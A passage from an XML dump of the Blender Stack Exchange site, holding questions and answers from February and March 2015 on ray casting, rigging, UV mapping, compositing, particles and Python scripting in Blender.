#ray_cast happens in local space&#xA;    for i, pt in enumerate(test_points):&#xA;        loc, no, indx = ob.ray_cast(imx * sun_location, imx * pt)&#xA;&#xA;        #simulate shadow with selection of the test vert&#xA;        if indx != -1:&#xA;            hits += 1&#xA;            Surface_Object.data.vertices[i].select = True&#xA;&#xA;print(hits) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a sample blend&#xA;&lt;a href=&quot;https://www.dropbox.com/s/004eu6aaqxg6zxy/ray_cast_sun.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/004eu6aaqxg6zxy/ray_cast_sun.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B3mN2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SCcab.png&quot; alt=&quot;Also works on non planar points&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="2772" LastEditDate="2015-02-28T19:20:24.693" LastActivityDate="2015-02-28T19:20:24.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26415" PostTypeId="1" CreationDate="2015-02-28T18:57:27.227" Score="3" ViewCount="1470" Body="&lt;p&gt;I'm in the middle of porting my rigging tools from other animation software over to Blender and was wondering how to use the shrinkwrap modifier to achieve muscle deforms, such as what JP Bouza did in BlenRig 3.  Right now, I really don't know how to apply multiple shrinkwrap modifiers to a model to achieve this.  The modifier stack doesn't work in parallel (yet; this might change with the new Depsgraph, but not right now).  So, the effects of each shrinkwrap modifier cascades over to the next in the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it s magic combination of vertex groups?  If so, how does one weight paint to each shrinkwrap modifier?&lt;/p&gt;&#xA;" OwnerUserId="11316" LastActivityDate="2015-02-28T19:32:01.117" Title="How do you assign multiple shrinkwrap modifiers to rig muscles?" Tags="&lt;modifiers&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26417" PostTypeId="2" ParentId="26407" CreationDate="2015-02-28T19:08:50.973" Score="2" Body="&lt;p&gt;Scale was set too high for the modifier, which was putting the vertices way to close to each other giving me errors. Seemed starting at the default scale while building the mesh, and then scaling it up afterwards still enabled me to use the scale i needed for importing. &lt;/p&gt;&#xA;" OwnerUserId="12882" LastActivityDate="2015-02-28T19:08:50.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26418" PostTypeId="2" ParentId="26397" CreationDate="2015-02-28T19:16:50.967" Score="3" Body="&lt;p&gt;You can get the location from the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_8/bpy.types.Object.html?highlight=object.matrix_world#bpy.types.Object.matrix_world&quot; rel=&quot;nofollow&quot;&gt;world matrix&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;empty.matrix_world.translation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-02-28T19:16:50.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26419" PostTypeId="2" ParentId="26415" CreationDate="2015-02-28T19:32:01.117" Score="4" Body="&lt;p&gt;What I do for muscles rig is that I have 2 Armatures and 2 Meshes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All muscles as 1 mesh with rig&lt;/li&gt;&#xA;&lt;li&gt;Character mesh with rig&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That means no muscle groups and no clutter in scene and character and only 1 shring-wrap modifier.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The muscle rig bones are parented to character rig with &lt;em&gt;Child Of&lt;/em&gt; constraints. This also allows for muscle layering.&lt;/li&gt;&#xA;&lt;li&gt;The individual muscle jiggle is controlled with 1 vertex group for soft-body goal.&lt;/li&gt;&#xA;&lt;li&gt;Each muscle has its own shape-key controlled with muscle-rig bones.&lt;/li&gt;&#xA;&lt;li&gt;Character mesh has only 1 shrink-wrap with vertex-group only for muscle-bulging strength.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-28T19:32:01.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26420" PostTypeId="1" AcceptedAnswerId="26441" CreationDate="2015-02-28T20:07:09.167" Score="1" ViewCount="48" Body="&lt;p&gt;For instance, how can I inspect which object instances are linked to which mesh instances in a user interface similar to the &lt;em&gt;Node Editor&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3651" LastActivityDate="2015-03-01T06:06:54.377" Title="How can I inspect the links between DataBlocks as a graph?" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;nodes&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26422" PostTypeId="2" ParentId="26408" CreationDate="2015-02-28T20:29:32.340" Score="4" Body="&lt;p&gt;Did not test this yet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;COL_COUNT =  8 # number of columns&#xA;ROW_COUNT = 12 # number of rows&#xA;&#xA;objects = bpy.data.groups['group_name'].objects[:]&#xA;&#xA;# no cmp function&#xA;# use round to circumvent floating point precision errors&#xA;key_x = lambda o: round(o.location.x, 2)&#xA;key_y = lambda o: round(o.location.y, 2)&#xA;&#xA;objects.sort(key=key_y, reversed=True) # from top to bottom&#xA;objects.sort(key=key_x)&#xA;&#xA;for i, obj in enumerate(objects):&#xA;    col = i  % COL_COUNT&#xA;    row = i // COL_COUNT&#xA;&#xA;    #do something with obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.python.org/3/howto/sorting.html&quot; rel=&quot;nofollow&quot;&gt;Sorting HOW TO&lt;/a&gt; from the official documetation for more information. The &lt;a href=&quot;https://docs.python.org/3/howto/sorting.html#sort-stability-and-complex-sorts&quot; rel=&quot;nofollow&quot;&gt;most relevant part&lt;/a&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorts are guaranteed to be stable. That means that when multiple records have the same key, their original order is preserved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To retrieve the object for a given row and column calculate the index:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index = row * COL_COUNT + col&#xA;obj = objects[index]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I.e. for &lt;code&gt;ROW_COUNT = 2&lt;/code&gt; and &lt;code&gt;COL_COUNT = 4&lt;/code&gt; the objects are tagged like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 1 2 3 &#xA;4 5 6 7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the second row and the third column the index is 1 * 4 + 2 = 6. (zero based indices!)&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-02-28T23:35:27.923" LastActivityDate="2015-02-28T23:35:27.923" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26423" PostTypeId="1" CreationDate="2015-02-28T21:10:58.163" Score="1" ViewCount="400" Body="&lt;p&gt;How do I make a mesh clickable so that when I click on it, I go to a different scene? Obviously just making a mouse sensor (left button) &gt; Set Scene (game) isn't working. Whenever I click anywhere on the screen, it goes to the next scene. How do I make it so that when I click a specific object, the actuator goes off? &lt;/p&gt;&#xA;" OwnerUserId="12885" LastEditorUserId="29" LastEditDate="2015-02-28T21:38:55.617" LastActivityDate="2015-02-28T22:11:36.617" Title="Making a menu to take me to different scenes" Tags="&lt;game-engine&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-01T08:09:01.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="26426" PostTypeId="2" ParentId="26423" CreationDate="2015-02-28T22:11:36.617" Score="2" Body="&lt;p&gt;use both mouse over and mouse left click on the object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ELKes.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-28T22:11:36.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26428" PostTypeId="2" ParentId="26407" CreationDate="2015-02-28T22:25:02.017" Score="1" Body="&lt;p&gt;You can apply the scale of an object by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Scale&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jPBAD.png&quot; alt=&quot;Apply Scale&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you do not even need to re-make your mesh at the correct size, or scale after using the modifier. You can make it the desired size, apply the scale, and the modifier will work correctly.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-28T22:25:02.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26430" PostTypeId="1" AcceptedAnswerId="26442" CreationDate="2015-02-28T23:04:54.857" Score="3" ViewCount="2678" Body="&lt;p&gt;I'm trying to figure out a good workflow for setting up the compositor for animations.&lt;/p&gt;&#xA;&lt;p&gt;When I make still images, I render at high-quality first, then touch things up with the compositor. With this workflow, the time-hungry stuff (i.e. the rendering) happens at the beginning, then I tweak the dials in the compositor at the end until it looks good.&lt;/p&gt;&#xA;&lt;p&gt;For animations, it seems that the compositor should be set up and finalized at render-time, when the series of stills are saved out.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to adapt my still-image workflow to developing animations. I can imagine saving out the raw animation renders first (takes a long time), then filter all of the frames through the composite nodes at the end (relatively quick).&lt;/p&gt;&#xA;&lt;p&gt;The compositing and the rendering should probably happen in the same .blend file, because it would nice to use the animation drivers for compositing values.&lt;/p&gt;&#xA;&lt;p&gt;Is there a nice way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="86978" LastEditDate="2021-05-17T07:44:21.247" LastActivityDate="2021-05-17T07:44:21.247" Title="Applying animated compositor to pre-rendered animation frames" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26431" PostTypeId="1" CreationDate="2015-02-28T23:15:07.940" Score="1" ViewCount="48" Body="&lt;p&gt;I made a model and it renders fine in Blender Render, but in Cycles, the whole image seems to be covered in black spots.&lt;img src=&quot;https://i.stack.imgur.com/uRJMd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="12889" LastActivityDate="2015-02-28T23:15:07.940" Title="Black spots in Cycles render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-03-01T00:20:51.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="26432" PostTypeId="1" AcceptedAnswerId="26434" CreationDate="2015-02-28T23:34:30.430" Score="2" ViewCount="738" Body="&lt;p&gt;First of, I'm very new to blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm trying to apply a texture to a wall. For doing this, I followed the steps for the textures in this video: &lt;a href=&quot;https://www.youtube.com/watch?v=E2Cb-5PEqGo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=E2Cb-5PEqGo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture didn't quite fit at first, so I messed a lot with the scaling and offset, and got to a pretty decent result. Now I've only got one issue left, please refer this screenshot:&#xA;&lt;img src=&quot;https://i.imgur.com/TMMkTEG.png&quot; alt=&quot;problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the texture fits the &quot;grid&quot; (sorry, I don't really know the terminology) perfectly for about 4 times, but then it resets or something for some odd reason. I've been trying to figure out what causes this, but I've honestly no clue. I'm at a loss as to what I should look up as well, because... I don't understand what's happening here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="12891" LastActivityDate="2015-03-01T00:21:09.253" Title="Texture &quot;resets&quot;?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26433" PostTypeId="2" ParentId="26348" CreationDate="2015-02-28T23:35:02.143" Score="1" Body="&lt;p&gt;Are you using Windows 7 sp1?&#xA;The links below are from posts I found with similar errors in different apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Microsoft C Runtime with User-Mode Drivers and Desktop ...&#xA;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/dn448963%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/hardware/dn448963%28v=vs.85%29.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://answers.microsoft.com/en-us/windows/forum/windows_8-hardware/missing-msvcr120ddll/28b03b3b-1d15-4e47-ba31-8ace6920b9ba&quot; rel=&quot;nofollow&quot;&gt;http://answers.microsoft.com/en-us/windows/forum/windows_8-hardware/missing-msvcr120ddll/28b03b3b-1d15-4e47-ba31-8ace6920b9ba&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing the run-time and/or making sure you have the latest Windows Updates might help you.&lt;/p&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2015-02-28T23:35:02.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26434" PostTypeId="2" ParentId="26432" CreationDate="2015-03-01T00:21:09.253" Score="2" Body="&lt;p&gt;First I want you to understand this is a workaround for your specific problem, not a real solution. You need to understand UV mapping to really solve this in any case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This said, let's go!&lt;br&gt;&#xA;Here is a shape like yours.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4VECL.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go in front orthographic view with &lt;kbd&gt;1&lt;/kbd&gt; (front view) and &lt;kbd&gt;5&lt;/kbd&gt; (orthographic)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2O8Kr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Now select wireframe view &lt;kbd&gt;Z&lt;/kbd&gt; and face selection mode &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt; or use menus&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kXuLG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Box select &lt;kbd&gt;B&lt;/kbd&gt; your vertical faces&#xA;&lt;img src=&quot;https://i.stack.imgur.com/57pCs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Unwrap &lt;kbd&gt;U&lt;/kbd&gt; with cube projection as said in the tutorial&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gt7FT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;On the left panel (&lt;kbd&gt;T&lt;/kbd&gt; if hidden) check clip and scale to bounds&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lwvha.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should fix your problem.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-01T00:21:09.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26435" PostTypeId="1" CreationDate="2015-03-01T00:30:13.123" Score="10" ViewCount="3293" Body="&lt;p&gt;I want to save my screen layouts like &quot;Default&quot;, &quot;Scripting&quot;, &quot;Animation&quot;, etc. across projects. Meaning that if I update it one place, it will update across all projects (just like how changing &quot;user preferences&quot; works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can save a startup .blend with customized layouts. But I work on 2 projects at the same time, thus I need to sync the layouts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; What I need is being able to change the layout in project #1. Then it would update across project #2 and project #3 as well. It doesn't have to simultaneous - it's ok if I need to reopen project #2 and project #3. But I don't wish to change layout in project #1, then make the same changes in the startup-file (thus twice the work).&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2015-03-01T12:14:12.813" LastActivityDate="2015-03-01T13:20:21.400" Title="Is there any way to save my screen layouts across projects?" Tags="&lt;customization&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26436" PostTypeId="2" ParentId="6254" CreationDate="2015-03-01T00:43:55.880" Score="-2" Body="&lt;p&gt;Using Blender 2.73a just go to &#xA;File &gt; Import &gt; Wavefront (.obj)&#xA;Browse from the extracted downloaded folder for file .obj extension (in my case it is DBR9.obj of size 2.8Mb.)&#xA;The whole beautiful complete frame of the car model should open right away in your editor.&#xA;I just played for Blender for an hour and it is fun to learn up.&lt;/p&gt;&#xA;" OwnerUserId="12892" LastActivityDate="2015-03-01T00:43:55.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26437" PostTypeId="2" ParentId="26396" CreationDate="2015-03-01T01:03:52.233" Score="6" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Input#Texture_Coordinates&quot; rel=&quot;noreferrer&quot;&gt;Object Coordinates&lt;/a&gt; to get a undistorted UV map without manually unwrapping the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike the &lt;em&gt;Generated&lt;/em&gt; coordinates which stretch to whatever size the mesh is (even if the object's scale is set to 1), object coordinates always stay square.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a plane with generated coordinates.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BdtNp.png&quot; alt=&quot;plane with generated coordinates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same plane now with object coordinates.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IC40v.png&quot; alt=&quot;plane with object coordinates&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-01T01:03:52.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26438" PostTypeId="2" ParentId="20943" CreationDate="2015-03-01T01:30:48.090" Score="5" Body="&lt;p&gt;Fol Amor's toon shading was a combination of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Self-luminated material (the flat-looking character)&#xA;Shadow pass (maya has ramp shaders, don't know about blender)&#xA;Rim pass (shader that highlights white around character)&#xA;zdepth as mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it also has to do with how you composite all those passes together. You can do so via Adobe After Effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dig around vimeo, some of their artist have a making of that's specifically towards their render passes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their film's environment was a combination of 3d props/visuals with 2d matte paintings for the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="12894" LastActivityDate="2015-03-01T01:30:48.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26439" PostTypeId="2" ParentId="26435" CreationDate="2015-03-01T02:10:13.657" Score="9" Body="&lt;p&gt;In User Prefrences &gt; File:&#xA;Uncheck &lt;code&gt;Load UI&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, your window layout will be preserved regardless of what file you open.&lt;/p&gt;&#xA;" OwnerUserId="674" LastActivityDate="2015-03-01T02:10:13.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26441" PostTypeId="2" ParentId="26420" CreationDate="2015-03-01T06:06:54.377" Score="1" Body="&lt;p&gt;While there was a feature like that up to 2.49, it was removed in blender 2.50 and has not been replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it hasn't been updated for a while &lt;a href=&quot;http://www.atmind.nl/?p=47&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender-aid&lt;/a&gt; may be an option if it still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KR0rl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-01T06:06:54.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26442" PostTypeId="2" ParentId="26430" CreationDate="2015-03-01T06:37:56.367" Score="3" Body="&lt;p&gt;There doesn't need to be a big change, the compositor can read a sequence of images just as easily as a single image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend saving your render files as openexr multilayer. The files are larger but they can include all render layers and output sockets that you normally use in the compositor. If you specify a full filename remember to add some #'s to get a frame number included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After saving your animation frames, create a new scene and in the compositor start with an Input-&gt;Image node and open all of your images. This leaves you with one scene to do the heavy rendering and one for only compositing and it's all in the one blend file. As the same nodes will apply to the entire sequence you may want to create several scenes for compositing to get different effects in different shots of your animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G4k8S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-01T06:37:56.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26443" PostTypeId="1" CreationDate="2015-03-01T06:55:15.223" Score="2" ViewCount="110" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ScnSP.jpg&quot; alt=&quot;you can see all detail in this image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made some snow particle; however, I can see the particle in the render preview but when I render, there are no particles. I checked and everything seems normal. Does anyone know why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="3078" LastEditDate="2015-03-01T11:27:24.747" LastActivityDate="2015-03-01T11:27:24.747" Title="Problem rendering snow particles" Tags="&lt;rendering&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-07T03:34:44.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="26444" PostTypeId="1" AcceptedAnswerId="26446" CreationDate="2015-03-01T07:06:51.043" Score="3" ViewCount="348" Body="&lt;p&gt;How can i set particle system resolution more 50?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paticle system must be:&#xA;emit - volume and grid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zDq8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12898" LastActivityDate="2015-03-01T09:42:12.900" Title="Particle System Resolution" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-01T13:47:16.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="26445" PostTypeId="2" ParentId="26393" CreationDate="2015-03-01T07:19:51.273" Score="4" Body="&lt;p&gt;I don't think there is a way to achieve that with logic bricks but a small python script can. Simply paste this into a text block in blender's text editor and use the text block name in the python controller.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from mathutils import Vector&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;sens = cont.sensors['Keyboard']&#xA;actu = cont.actuators['Motion']&#xA;&#xA;actu.dRot = Vector((own['sp1'],0,0))&#xA;&#xA;if sens.positive:&#xA;    cont.activate(actu)&#xA;else:&#xA;    cont.deactivate(actu)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2ivx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script should explain itself fairly well. By getting the controller object we can then get the owner and the sensor and actuator that we are interested in. We use the owner to access the game property &lt;code&gt;own['sp1']&lt;/code&gt; to alter the actuator values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place the line &lt;code&gt;print(type(actu))&lt;/code&gt; you can find the type of actuator and lookup it's properties in &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender's api reference&lt;/a&gt;. eg the simple motion actuator identifies as a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_8/bge.types.KX_ObjectActuator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;KX_ObjectActuator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last few lines activate or deactivate the motion actuator based on the output of the sensor.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-01T07:19:51.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26446" PostTypeId="2" ParentId="26444" CreationDate="2015-03-01T09:42:12.900" Score="1" Body="&lt;p&gt;The resolution has a hard limit of 250 (when the number is entered manually). If you really need more you could emit from vertices of subdivided plane (&lt;kbd&gt;W&lt;/kbd&gt; in &lt;em&gt;Edit Mode&lt;/em&gt;) and add an array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dYS97.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you don't want to apply the array modifier you should tick the use modifier stack option in the particle settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IpI9I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-01T09:42:12.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26447" PostTypeId="1" CreationDate="2015-03-01T10:56:20.220" Score="2" ViewCount="674" Body="&lt;p&gt;I'm trying to bake externally a single cache smoke domain, with multiple/other domains in the same scene file which I don't want to cache, but when I run the below it simply returns {'FINISHED'} as a result without executing the external bake to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I needing to specify another element or flag in the modifier's attributes before I execute it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm close to getting a solution to this and can see all the attribs but it's tricky getting a clear guideline as to what's making this refuse to bake to an external cache location.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy        &#xA;&#xA;def cacheThisSmokeSim(smokeCacheName):&#xA;    for scene in bpy.data.scenes:&#xA;        for object in scene.objects:&#xA;            for modifier in object.modifiers:&#xA;                if modifier.type =='SMOKE':&#xA;                    if object.name == smokeCacheName:&#xA;                        override = {'blend_data': bpy.data,'scene': scene, 'active_object': object.name,'point_cache': modifier.domain_settings.point_cache}                &#xA;                        #bpy.ops.ptcache.bake_all(override)&#xA;                        print (&quot;CACHE THIS*:&quot;,smokeCacheName,&quot;\n&quot;)&#xA;                        result =  bpy.ops.ptcache.bake(override,bake=True)&#xA;                        print (&quot;END OF CACHE&quot;)&#xA;                    else:&#xA;                        print (&quot;BUT NOT THIS:&quot;,object.name)&#xA;    return result&#xA;&#xA;cacheResult = cacheThisSmokeSim('SMOKEDOMAIN')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please also note that I'm able to bake everything well enough but for big scenes when you want to simply adjust one cache this would be super helpful without having to execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.ptcache.bake_all(override) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works perfectly.&lt;/p&gt;&#xA;" OwnerUserId="12899" LastEditorUserId="12899" LastEditDate="2015-03-02T21:10:00.487" LastActivityDate="2015-04-01T23:38:36.790" Title="Why is bpy.ops.ptcache.bake is not executing bake to external cache when bake_all() working?" Tags="&lt;python&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
